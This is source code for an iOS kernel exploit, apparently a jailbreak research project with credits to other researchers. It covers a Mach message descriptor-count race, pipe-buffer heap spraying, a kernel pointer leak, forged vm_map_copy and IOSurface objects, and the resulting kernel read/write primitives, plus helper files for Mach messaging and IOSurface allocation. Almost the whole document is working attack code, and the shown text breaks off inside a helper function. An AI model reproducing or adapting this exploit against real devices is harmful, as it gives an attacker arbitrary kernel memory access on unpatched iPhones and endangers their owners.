Credits
- @realBrightiup for the bug and exploit strategy
- Justin Sherman for the detailed writeup of his exploit (https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html)
- @b1n4r1b01 for various things
// | |
// exploit.c | |
// kmsg_bug | |
// | |
// Created by Jake James on 3/2/22. | |
// | |
#include "exploit.h" | |
#include <pthread/pthread.h> | |
#include "exploit_utilities.h" | |
#include "IOSurface_stuff.h" | |
#define DEBUG 1 | |
int surfaces[2][4096] = {0}; | |
io_service_t IOSRUC[2] = {0}; | |
int IOSurface_setCapacity_0x2000() { | |
kern_return_t ret = _host_page_size(mach_host_self(), (vm_size_t*)&pagesize); | |
if (ret) { | |
printf("[-] Failed to get page size! 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
io_connect_t IOSurfaceRoot = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); | |
if (!MACH_PORT_VALID(IOSurfaceRoot)) { | |
printf("[-] Failed to find IOSurfaceRoot service\n"); | |
return KERN_FAILURE; | |
} | |
ret = IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &IOSRUC[0]); | |
if (ret || !MACH_PORT_VALID(IOSRUC[0])) { | |
printf("[-] Failed to open IOSRUC: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
ret = IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &IOSRUC[1]); | |
if (ret || !MACH_PORT_VALID(IOSRUC[1])) { | |
printf("[-] Failed to open IOSRUC: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
struct IOSurfaceFastCreateArgs create_args = { | |
.alloc_size = pagesize | |
}; | |
struct IOSurfaceLockResult lock_result; | |
size_t lock_result_size = 0xf60; | |
for (int i = 0; i < 4096; i++) { | |
ret = IOConnectCallMethod(IOSRUC[0], IOSurfaceRootUserClient_create_surface_selector, NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size); | |
if (ret) { | |
printf("[-] Failed to create IOSurfaceClient: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
surfaces[0][i] = lock_result.surface_id; | |
} | |
for (int i = 0; i < 4096; i++) { | |
release_IOSurface(IOSRUC[0], surfaces[0][i]); | |
surfaces[0][i] = 0; | |
} | |
for (int i = 0; i < 4096; i++) { | |
ret = IOConnectCallMethod(IOSRUC[1], IOSurfaceRootUserClient_create_surface_selector, NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size); | |
if (ret) { | |
printf("[-] Failed to create IOSurfaceClient: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
#if DEBUG | |
printf("[i] Surface id: %d\n", lock_result.surface_id); | |
#endif | |
surfaces[1][i] = lock_result.surface_id; | |
if (surfaces[1][i] == 8100) break; | |
} | |
return 0; | |
} | |
void release_all() { | |
for (int i = 0; i < 4096; i++) { | |
if (surfaces[1][i]) { | |
printf("[*] Releasing %d\n", surfaces[1][i]); | |
fflush(stdout); | |
usleep(10); | |
release_IOSurface(IOSRUC[1], surfaces[1][i]); | |
} | |
} | |
} | |
// N_DESC = 14 and N_CORRUPTED = 1014 will make a message have 0x4000 size | |
// (there are other combinations however for some reason ones where difference is lower don't work?) | |
#define N_DESC 14 | |
#define N_CORRUPTED 1014 | |
// how many pipes to spray | |
#define N_SPRAY 5000 | |
// size of each pipe buffer | |
#define KALLOC_SIZE 0x4000 | |
// size of ool buffer | |
#define OOL_SIZE 0x100 | |
#define BIG_BUFFER_SIZE 0x10000 | |
struct exp_msg { | |
mach_msg_header_t hdr; | |
mach_msg_body_t body; | |
mach_msg_ool_ports_descriptor_t ool_ports; | |
mach_msg_ool_descriptor_t ool_desc[N_CORRUPTED - 1]; | |
}; | |
struct exp_msg msg; | |
void race_thread() { | |
while (1) { | |
// change the descriptor count back and forth | |
// eventually the race will work just right so we get this order of actions: | |
// count = N_DESC -> first copyin -> count = N_CORRUPTED -> second copyin | |
msg.body.msgh_descriptor_count = N_CORRUPTED; | |
msg.body.msgh_descriptor_count = N_DESC; | |
} | |
} | |
void *fake_IOSC; | |
void *fake_IOS; | |
uint64_t ool_ports_buffer = 0; | |
uint64_t IOSC_array = 0; | |
int opipe[2] = {0}; | |
mach_port_t dest; | |
// these are racy, should put locks, but this is just an exploit, so idc | |
uint32_t rk32(uint64_t addr) { | |
*(uint64_t*)(fake_IOSC + 0x40) = addr - 0xb4; | |
uint32_t val; | |
int ret = IOSurface_get_ycbcrmatrix(IOSRUC[1], surfaces[1][0], &val); | |
*(uint64_t*)(fake_IOSC + 0x40) = (uint64_t)fake_IOS; | |
if (ret) { | |
printf("[-][rk32] Error get_ycbcrmatrix: %s\n", mach_error_string(ret)); | |
return 0; | |
} | |
return val; | |
} | |
uint64_t rk64(uint64_t addr) { | |
uint32_t val1 = rk32(addr); | |
uint64_t val2 = rk32(addr + 4); | |
uint64_t val64 = val1 | (val2 << 32); | |
return val64; | |
} | |
int wk64(uint64_t addr, uint64_t what) { | |
*(uint64_t*)(fake_IOS + 0x360) = addr; | |
int ret = IOSurface_set_indexed_timestamp(IOSRUC[1], surfaces[1][0], 0, what); | |
*(uint64_t*)(fake_IOS + 0x360) = (uint64_t)fake_IOS + 0x1000; | |
if (ret) { | |
printf("[-][wk64] Error set_indexed_timestamp: %s\n", mach_error_string(ret)); | |
return ret; | |
} | |
return 0; | |
} | |
void after_thread() { | |
// wait a little bit | |
sleep(5); // probably too much | |
uint64_t test = (uint64_t)malloc(8); // let's pretend this is a kernel address | |
wk64(test, 0x4142434445464748); | |
printf("[i] Wrote: 0x%lx\n", 0x4142434445464748); | |
printf("[i] Read back: 0x%llx\n", rk64(test)); | |
printf("[*] Panic!!\n"); | |
fflush(stdout); | |
sleep(1); | |
wk64(0x4141414141414141, 0x4242424242424242); | |
} | |
void exploit() { | |
printf("[*] Setting up exploit\n"); | |
IOSurface_setCapacity_0x2000(); | |
void *body = calloc(1, KALLOC_SIZE); | |
// allow us to spray a lot of pipes | |
increase_file_limit(); | |
// ool buffer | |
void* buf = calloc(1, OOL_SIZE * N_DESC); | |
void *ports = calloc(1, BIG_BUFFER_SIZE/2); // size of a port in userland is half its size in kernel | |
// set up the message | |
msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); | |
msg.hdr.msgh_size = (mach_msg_size_t)(sizeof(struct exp_msg)); | |
msg.hdr.msgh_remote_port = 0; | |
msg.hdr.msgh_local_port = MACH_PORT_NULL; | |
msg.hdr.msgh_id = 0x12341234; | |
// set the initial (smaller) descriptor count | |
msg.body.msgh_descriptor_count = N_DESC; | |
// ool ports descriptor | |
msg.ool_ports.address = ports; | |
msg.ool_ports.count = BIG_BUFFER_SIZE / 8; | |
msg.ool_ports.deallocate = 0; | |
msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; | |
msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY; | |
msg.ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND; | |
// ool descriptors | |
for (int i = 0; i < N_DESC - 1; i++) { | |
msg.ool_desc[i].address = buf + i * OOL_SIZE; | |
msg.ool_desc[i].size = OOL_SIZE; | |
msg.ool_desc[i].deallocate = 0; | |
msg.ool_desc[i].type = MACH_MSG_OOL_DESCRIPTOR; | |
msg.ool_desc[i].copy = MACH_MSG_PHYSICAL_COPY; | |
} | |
// original writeup uses a mach message for this, but we'd have to fix up the trailer to avoid breaking its signature, also pipes allow us to write back without reallocating | |
printf("[*] Spraying pipe buffers\n"); | |
int pipes[N_SPRAY][2] = {0}; | |
for (int i = 0; i < N_SPRAY; i++) { | |
int ret = pipe(pipes[i]); | |
if (ret) { | |
printf("[-] Failed to create pipe: %s\n", strerror(errno)); | |
continue; | |
} | |
set_nonblock(pipes[i][0]); | |
set_nonblock(pipes[i][1]); | |
memset(body, 0, KALLOC_SIZE); | |
// -1 otherwise it'll make the size bigger | |
write(pipes[i][1], body, KALLOC_SIZE - 1); | |
} | |
// -----------+-----------+-----------+------------+----------- | |
// pipe1 | pipe2 | ... | pipe5000 | | |
// -----------+-----------+-----------+------------+----------- | |
// | |
// poke some holes to increase chance of landing right after a pipe | |
printf("[*] Poking holes\n"); | |
fflush(stdout); | |
for (int i = 0; i < N_SPRAY; i++) { | |
if (i % 64 == 0) { | |
close(pipes[i][0]); | |
close(pipes[i][1]); | |
pipes[i][0] = 0; | |
pipes[i][1] = 0; | |
} | |
} | |
// -----------+-----------+-----------+------------+------------+------------+----------- | |
// pipe1 | pipe2 | ... | pipe64 | FREE | pipe67 | ... | |
// -----------+-----------+-----------+------------+------------+------------+----------- | |
// | |
printf("[*] Racing\n"); | |
// start the threads | |
pthread_t thread; | |
pthread_create(&thread, NULL, (void*)race_thread, NULL); | |
// try up to 1000 times | |
for (int i = 0; i < 1000; i++) { | |
// create a mach port where we'll send the message | |
dest = new_mach_port(); | |
// send | |
msg.hdr.msgh_remote_port = dest; | |
int ret = mach_msg(&msg.hdr, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, msg.hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); | |
if (ret) printf("error: %s\n", mach_error_string(ret)); | |
// hopefully (pre-trigger): | |
// -----------+-----------+-----------+-----------+------------+-------------+----------- | |
// pipe1 | pipe2 | ... | pipeN | ikm_header | pipeN+2 | ... | |
// -----------+-----------+-----------+-----------+------------+-------------+----------- | |
// | |
// after bug trigger pipeN should overlap with ikm_header: | |
// +----------------+ | |
// | | | |
// -----------+-----------+-----------+-----------+ +-------------+----------- | |
// pipe1 | pipe2 | ... | pipeN | ikm_header | pipeN+2 | ... | |
// -----------+-----------+-----------+-----------+------------+-------------+----------- | |
// check if we overwrote one of the pipe buffers | |
for (int i = 0; i < N_SPRAY; i++) { | |
if (pipes[i][0] && pipes[i][0] != opipe[0]) {; | |
ssize_t ret = read(pipes[i][0], body, KALLOC_SIZE); | |
if (ret == -1) { | |
printf("[-] Failed to read pipe: %s\n", strerror(errno)); | |
continue; | |
} | |
// there seem to be some extra 56 bytes between the two | |
int off = KALLOC_SIZE - 4 * (N_CORRUPTED - N_DESC) + 56; | |
if (*(uint32_t*)(body + off) == 0x80000011) { | |
printf("[+] Found ikm_header at pipe nr. %d\n", i); | |
struct ool_kmsg *kmsg = body+off; | |
#if DEBUG | |
for (int i = 0; i < N_DESC; i++) { | |
uint64_t kaddr = (uint64_t)kmsg->ool_messages[i].address; | |
printf("[i] 0x%llx\n", kaddr); | |
} | |
#endif | |
ool_ports_buffer = (uint64_t)kmsg->ool_messages[0].address; | |
// assume this scenario is true and hope for the best | |
IOSC_array = ool_ports_buffer - BIG_BUFFER_SIZE; | |
// save the pipe | |
opipe[0] = pipes[i][0]; | |
opipe[1] = pipes[i][1]; | |
pipes[i][0] = 0; | |
pipes[i][1] = 0; | |
// close other pipes | |
for (int i = 0; i < N_SPRAY; i++) { | |
if (pipes[i][0]) close(pipes[i][0]); | |
if (pipes[i][1]) close(pipes[i][1]); | |
} | |
printf("[+] Leaked ool ports buffer: 0x%llx\n", ool_ports_buffer); | |
printf("[+] Calculated IOSurfaceClient array address: 0x%llx\n", IOSC_array); | |
void *buf = calloc(1, 0x5000); // need to calculate on A10+ | |
struct vm_map_copy *copy = buf; | |
struct vm_map_links *entry = buf + 0x1000; | |
copy->type = VM_MAP_COPY_ENTRY_LIST; // we need the entry list type | |
copy->c_u.hdr.nentries = 1; // doesn't really matter | |
copy->c_u.hdr.links.next = (struct vm_map_entry*)entry; // the fake entry | |
*(uint64_t*)(((uint64_t)©->c_u.hdr) + 0x28) = 0xffffffffbaadc0d1; // do this to skip some useless code | |
fake_IOSC = buf + 0x2000; // fake IOSurfaceClient | |
fake_IOS = buf + 0x3000; // fake IOSurface | |
*(uint64_t*)(fake_IOS + 0x360) = (uint64_t)fake_IOS + 0x1000; // fake timestamp array = fake ycbcrmatrix array | |
// *(uint64_t*)(fake_IOS + 0xb4) | |
*(uint64_t*)(fake_IOSC + 0x40) = (uint64_t)fake_IOS; | |
void *vm_object = buf + 0x3000; | |
*(uint8_t*)(vm_object + 0xa) = 0x40; // lock stuff | |
*(uint32_t*)(vm_object + 0x28) = 2; // something that needs to be 2 for it to work | |
*(uint64_t*)(vm_object + 0x48) = 0x1337; // needs to be non-zero | |
*(uint32_t*)(vm_object + 0x74) = 0x8000000; // needs to be this | |
*(uint32_t*)(vm_object + 0xa4) = 0x400; // mapping_in_progress = 1 | |
entry->prev = (void *)fake_IOSC; | |
entry->next = (void *)(IOSC_array + surfaces[1][0] * 8); | |
*(uint64_t*)((uint64_t)entry + 0x38) = (uint64_t)vm_object; // the fake vm_object | |
*(uint64_t*)((uint64_t)entry + 0x48) = 0; // needs to be 0 | |
printf("[*] Writing fake vm_map_copy ptr\n"); | |
kmsg->ool_messages[1].address = (void*)copy; | |
write(opipe[1], body, KALLOC_SIZE); | |
pthread_t thread; | |
pthread_create(&thread, NULL, (void*)after_thread, NULL); | |
/* | |
this will basically do: | |
entry->next->prev = entry->prev; | |
entry->prev->next = entry->next; | |
and then it'll hang until mapping_in_progress is unset | |
*/ | |
printf("[*] Writing fake IOSurfaceClient ptr\n"); | |
mach_port_destroy(mach_task_self(), dest); | |
printf("[-] Exploit failed\n"); | |
return; | |
} | |
memset(body, 0, KALLOC_SIZE); | |
write(pipes[i][1], body, KALLOC_SIZE - 1); | |
} | |
} | |
// if bug didn't work, free message and try again | |
// if bug worked but pipes weren't affected then we corrupted something else, let this just panic | |
mach_port_destroy(mach_task_self(), dest); | |
} | |
printf("[-] Exploit failed\n"); | |
return; | |
} |
// | |
// exploit.h | |
// kmsg_bug | |
// | |
// Created by Jake James on 3/2/22. | |
// | |
#ifndef exploit_h | |
#define exploit_h | |
#include <stdio.h> | |
#include <mach/vm_types.h> | |
void exploit(void); | |
struct vm_map_links { | |
struct vm_map_entry *prev; /* previous entry */ | |
struct vm_map_entry *next; /* next entry */ | |
vm_map_offset_t start; /* start address */ | |
vm_map_offset_t end; /* end address */ | |
}; | |
struct vm_map_header { | |
struct vm_map_links links; /* first, last, min, max */ | |
int nentries; /* Number of entries */ | |
boolean_t entries_pageable; | |
int page_shift; /* page shift */ | |
}; | |
struct vm_map_copy { | |
int type; | |
#define VM_MAP_COPY_ENTRY_LIST 1 | |
#define VM_MAP_COPY_OBJECT 2 | |
#define VM_MAP_COPY_KERNEL_BUFFER 3 | |
vm_object_offset_t offset; | |
vm_map_size_t size; | |
union { | |
struct vm_map_header hdr; /* ENTRY_LIST */ | |
void *object; /* OBJECT */ | |
void *kdata; /* KERNEL_BUFFER */ | |
} c_u; | |
}; | |
#endif /* exploit_h */ |
// | |
// exploit_utilities.c | |
// sock_port | |
// | |
// Created by Jake James on 7/17/19. | |
// Copyright © 2019 Jake James. All rights reserved. | |
// | |
#import "exploit_utilities.h" | |
mach_port_t new_mach_port() { | |
mach_port_t port = MACH_PORT_NULL; | |
kern_return_t ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); | |
if (ret) { | |
printf("[-] failed to allocate port\n"); | |
return MACH_PORT_NULL; | |
} | |
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); | |
if (ret) { | |
printf("[-] failed to insert right\n"); | |
mach_port_destroy(mach_task_self(), port); | |
return MACH_PORT_NULL; | |
} | |
mach_port_limits_t limits = {0}; | |
limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE; | |
ret = mach_port_set_attributes(mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT); | |
if (ret) { | |
printf("[-] failed to increase queue limit\n"); | |
mach_port_destroy(mach_task_self(), port); | |
return MACH_PORT_NULL; | |
} | |
return port; | |
} | |
kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) { | |
mach_msg_size_t msg_size = sizeof(struct simple_msg) + size; | |
struct simple_msg *msg = malloc(msg_size); | |
memset(msg, 0, sizeof(struct simple_msg)); | |
msg->hdr.msgh_remote_port = destination; | |
msg->hdr.msgh_local_port = MACH_PORT_NULL; | |
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); | |
msg->hdr.msgh_size = msg_size; | |
msg->hdr.msgh_id = 0x41414141; | |
memcpy(&msg->buf[0], buffer, size); | |
kern_return_t ret = mach_msg(&msg->hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); | |
if (ret) { | |
printf("[-] failed to send message\n"); | |
mach_port_destroy(mach_task_self(), destination); | |
free(msg); | |
return ret; | |
} | |
free(msg); | |
return KERN_SUCCESS; | |
} | |
struct simple_msg* receive_message(mach_port_t source, mach_msg_size_t size) { | |
mach_msg_size_t msg_size = sizeof(struct simple_msg) + size; | |
struct simple_msg *msg = malloc(msg_size); | |
memset(msg, 0, sizeof(struct simple_msg)); | |
kern_return_t ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, msg_size, source, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); | |
if (ret) { | |
printf("[-] failed to receive message: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return NULL; | |
} | |
return msg; | |
} | |
int send_ool_ports(mach_port_t where, mach_port_t target_port, int count, int dcount, int disposition) { | |
kern_return_t ret; | |
mach_port_t* ports = malloc(sizeof(mach_port_t) * count); | |
for (int i = 0; i < count; i++) { | |
ports[i] = target_port; | |
} | |
struct ool_ports_msg* msg = (struct ool_ports_msg*)calloc(1, sizeof(struct ool_ports_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * dcount); | |
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); | |
msg->hdr.msgh_size = (mach_msg_size_t)(sizeof(struct ool_ports_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * dcount); | |
msg->hdr.msgh_remote_port = where; | |
msg->hdr.msgh_local_port = MACH_PORT_NULL; | |
msg->hdr.msgh_id = 0x41414141; | |
msg->body.msgh_descriptor_count = dcount; | |
for (int i = 0; i < dcount; i++) { | |
msg->ool_ports[i].address = ports; | |
msg->ool_ports[i].count = count; | |
msg->ool_ports[i].deallocate = 0; | |
msg->ool_ports[i].disposition = disposition; | |
msg->ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR; | |
msg->ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY; | |
} | |
ret = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); | |
free(msg); | |
free(ports); | |
if (ret) { | |
printf("[-] Failed to send OOL ports: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return KERN_FAILURE; | |
} | |
return 0; | |
} | |
int send_ool_message(mach_port_t where, void *buf, mach_msg_size_t size, int dcount) { | |
kern_return_t ret; | |
struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg) + sizeof(mach_msg_ool_descriptor_t) * dcount); | |
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); | |
msg->hdr.msgh_size = (mach_msg_size_t)(sizeof(struct ool_msg) + sizeof(mach_msg_ool_descriptor_t) * dcount); | |
msg->hdr.msgh_remote_port = where; | |
msg->hdr.msgh_local_port = MACH_PORT_NULL; | |
msg->hdr.msgh_id = 0x41414141; | |
msg->body.msgh_descriptor_count = dcount; | |
for (int i = 0; i < dcount; i++) { | |
msg->ool_messages[i].address = buf; | |
msg->ool_messages[i].size = size; | |
msg->ool_messages[i].deallocate = 0; | |
msg->ool_messages[i].type = MACH_MSG_OOL_DESCRIPTOR; | |
msg->ool_messages[i].copy = MACH_MSG_VIRTUAL_COPY; | |
} | |
ret = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); | |
free(msg); | |
if (ret) { | |
printf("[-] Failed to send OOL message: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return KERN_FAILURE; | |
} | |
return 0; | |
return ret; | |
} | |
#define USER_HEADER_SIZE_DELTA 8 | |
mach_msg_size_t message_size_for_kalloc_size(mach_msg_size_t kalloc_size) { | |
return (kalloc_size - MAX_TRAILER_SIZE - USER_HEADER_SIZE_DELTA - sizeof(struct simple_msg)); | |
//return ((3 * kalloc_size) / 4) - 0x74; | |
} | |
void trigger_gc() { | |
const int gc_ports_cnt = 1000; | |
int gc_ports_max = gc_ports_cnt; | |
mach_port_t gc_ports[gc_ports_cnt] = { 0 }; | |
uint32_t body_size = (uint32_t)message_size_for_kalloc_size(16384) - sizeof(struct simple_msg); // 1024 | |
uint8_t *body = (uint8_t*)malloc(body_size); | |
memset(body, 0x41, body_size); | |
for (int i = 0; i < gc_ports_cnt; i++) { | |
uint64_t t0, t1; | |
t0 = 0;// mach_absolute_time(); | |
gc_ports[i] = new_mach_port(); | |
send_message(gc_ports[i], body, body_size); | |
t1 = 0; //mach_absolute_time(); | |
if (t1 - t0 > 1000000) { | |
printf("[+] got gc at %d -- breaking\n", i); | |
gc_ports_max = i; | |
break; | |
} | |
} | |
for (int i = 0; i < gc_ports_max; i++) { | |
mach_port_destroy(mach_task_self(), gc_ports[i]); | |
} | |
sched_yield(); | |
sleep(1); | |
} | |
void hexdump(const void* data, size_t size) { | |
char ascii[17]; | |
size_t i, j; | |
ascii[16] = '\0'; | |
for (i = 0; i < size; ++i) { | |
printf("%02X ", ((unsigned char*)data)[i]); | |
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { | |
ascii[i % 16] = ((unsigned char*)data)[i]; | |
} else { | |
ascii[i % 16] = '.'; | |
} | |
if ((i+1) % 8 == 0 || i+1 == size) { | |
printf(" "); | |
if ((i+1) % 16 == 0) { | |
printf("| %s \n", ascii); | |
} else if (i+1 == size) { | |
ascii[(i+1) % 16] = '\0'; | |
if ((i+1) % 16 <= 8) { | |
printf(" "); | |
} | |
for (j = (i+1) % 16; j < 16; ++j) { | |
printf(" "); | |
} | |
printf("| %s \n", ascii); | |
} | |
} | |
} | |
} | |
void increase_file_limit() { | |
struct rlimit rl = {}; | |
getrlimit(RLIMIT_NOFILE, &rl); | |
rl.rlim_cur = 10240; | |
rl.rlim_max = rl.rlim_cur; | |
setrlimit(RLIMIT_NOFILE, &rl); | |
} | |
void set_nonblock(int fd) { | |
int flags = fcntl(fd, F_GETFL); | |
flags |= O_NONBLOCK; | |
fcntl(fd, F_SETFL, flags); | |
} | |
// | |
// exploit_utilities.h | |
// sock_port | |
// | |
// Created by Jake James on 7/17/19. | |
// Copyright © 2019 Jake James. All rights reserved. | |
// | |
#ifndef exploit_utilities_h | |
#define exploit_utilities_h | |
#import <stdio.h> | |
#import <unistd.h> | |
#import <stdlib.h> | |
#import <errno.h> | |
#import <mach/mach.h> | |
#import <sched.h> | |
//import <IOKit/IOKitLib.h> | |
#import <sys/utsname.h> | |
#import <fcntl.h> | |
//#import "IOSurface_stuff.h" | |
struct ool_msg { | |
mach_msg_header_t hdr; | |
mach_msg_body_t body; | |
mach_msg_ool_descriptor_t ool_messages[]; | |
}; | |
struct ool_ports_msg { | |
mach_msg_header_t hdr; | |
mach_msg_body_t body; | |
mach_msg_ool_ports_descriptor_t ool_ports[]; | |
}; | |
struct simple_msg { | |
mach_msg_header_t hdr; | |
char buf[0]; | |
}; | |
typedef struct { | |
mach_msg_bits_t msgh_bits; | |
mach_msg_size_t msgh_size; | |
uint64_t msgh_remote_port; | |
uint64_t msgh_local_port; | |
mach_port_name_t msgh_voucher_port; | |
mach_msg_id_t msgh_id; | |
} kern_mach_msg_header_t; | |
struct ool_kmsg { | |
kern_mach_msg_header_t hdr; | |
mach_msg_body_t body; | |
mach_msg_ool_descriptor_t ool_messages[]; | |
}; | |
struct ool_ports_kmsg { | |
kern_mach_msg_header_t hdr; | |
mach_msg_body_t body; | |
mach_msg_ool_ports_descriptor_t ool_ports[]; | |
}; | |
struct simple_kmsg { | |
kern_mach_msg_header_t hdr; | |
char buf[0]; | |
}; | |
mach_port_t new_mach_port(void); | |
kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size); | |
struct simple_msg* receive_message(mach_port_t source, mach_msg_size_t size); | |
int send_ool_ports(mach_port_t where, mach_port_t target_port, int count, int dcount, int disposition); | |
int send_ool_message(mach_port_t where, void *msg, mach_msg_size_t size, int dcount); | |
mach_msg_size_t message_size_for_kalloc_size(mach_msg_size_t kalloc_size); | |
void trigger_gc(void); | |
void hexdump(const void* data, size_t size); | |
void increase_file_limit(void); | |
void set_nonblock(int fd); | |
#endif /* exploit_utilities_h */ |
// | |
// IOSurface_stuff.c | |
// time_waste | |
// | |
// Created by Jake James on 2/22/20. | |
// Copyright © 2020 Jake James. All rights reserved. | |
// | |
#import "IOSurface_stuff.h" | |
uint32_t pagesize; | |
io_connect_t IOSurfaceRoot; | |
io_service_t IOSurfaceRootUserClient; | |
uint32_t IOSurface_ID; | |
int init_IOSurface() { | |
kern_return_t ret = _host_page_size(mach_host_self(), (vm_size_t*)&pagesize); | |
if (ret) { | |
printf("[-] Failed to get page size! 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
printf("[i] page size: 0x%x\n", pagesize); | |
IOSurfaceRoot = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); | |
if (!MACH_PORT_VALID(IOSurfaceRoot)) { | |
printf("[-] Failed to find IOSurfaceRoot service\n"); | |
return KERN_FAILURE; | |
} | |
ret = IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &IOSurfaceRootUserClient); | |
if (ret || !MACH_PORT_VALID(IOSurfaceRootUserClient)) { | |
printf("[-] Failed to open IOSurfaceRootUserClient: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
struct IOSurfaceFastCreateArgs create_args = { | |
.alloc_size = pagesize | |
}; | |
struct IOSurfaceLockResult lock_result; | |
size_t lock_result_size = 0xf60; | |
ret = IOConnectCallMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_create_surface_selector, NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size); | |
if (ret) { | |
printf("[-] Failed to create IOSurfaceClient: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
IOSurface_ID = lock_result.surface_id; | |
return 0; | |
} | |
int release_IOSurface(io_service_t userclient, int surface_id) { | |
uint64_t scalar[] = { surface_id }; | |
int ret = IOConnectCallMethod(userclient, IOSurfaceRootUserClient_release_surface_selector, scalar, 1, NULL, 0, NULL, NULL, NULL, NULL); | |
if (ret) { | |
printf("[-][IOSurface] Failed to release surface: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
return 0; | |
} | |
int IOSurface_setValue(struct IOSurfaceValueArgs *args, size_t args_size) { | |
struct IOSurfaceValueResultArgs result; | |
size_t result_size = sizeof(result); | |
kern_return_t ret = IOConnectCallMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_set_value_selector, NULL, 0, args, args_size, NULL, NULL, &result, &result_size); | |
if (ret) { | |
printf("[-][IOSurface] Failed to set value: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
return 0; | |
} | |
int IOSurface_getValue(struct IOSurfaceValueArgs *args, int args_size, struct IOSurfaceValueArgs *output, size_t *out_size) { | |
kern_return_t ret = IOConnectCallMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_get_value_selector, NULL, 0, args, args_size, NULL, NULL, output, out_size); | |
if (ret) { | |
printf("[-][IOSurface] Failed to get value: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
return 0; | |
} | |
int IOSurface_removeValue(struct IOSurfaceValueArgs *args, size_t args_size) { | |
struct IOSurfaceValueResultArgs result; | |
size_t result_size = sizeof(result); | |
kern_return_t ret = IOConnectCallMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_remove_value_selector, NULL, 0, args, args_size, NULL, NULL, &result, &result_size); | |
if (ret) { | |
printf("[-][IOSurface] Failed to remove value: 0x%x (%s)\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
return 0; | |
} | |
int IOSurface_remove_property(uint32_t key) { | |
uint32_t argsSz = sizeof(struct IOSurfaceValueArgs) + 2 * sizeof(uint32_t); | |
struct IOSurfaceValueArgs *args = malloc(argsSz); | |
bzero(args, argsSz); | |
args->surface_id = IOSurface_ID; | |
args->binary[0] = key; | |
args->binary[1] = 0; | |
int ret = IOSurface_removeValue(args, 16); | |
free(args); | |
return ret; | |
} | |
int IOSurface_kalloc(void *data, uint32_t size, uint32_t kalloc_key) { | |
if (size - 1 > 0x00ffffff) { | |
printf("[-][IOSurface] Size too big for OSUnserializeBinary\n"); | |
return KERN_FAILURE; | |
} | |
size_t args_size = sizeof(struct IOSurfaceValueArgs) + ((size + 3)/4) * 4 + 6 * 4; | |
struct IOSurfaceValueArgs *args = calloc(1, args_size); | |
args->surface_id = IOSurface_ID; | |
int i = 0; | |
args->binary[i++] = kOSSerializeBinarySignature; | |
args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection; | |
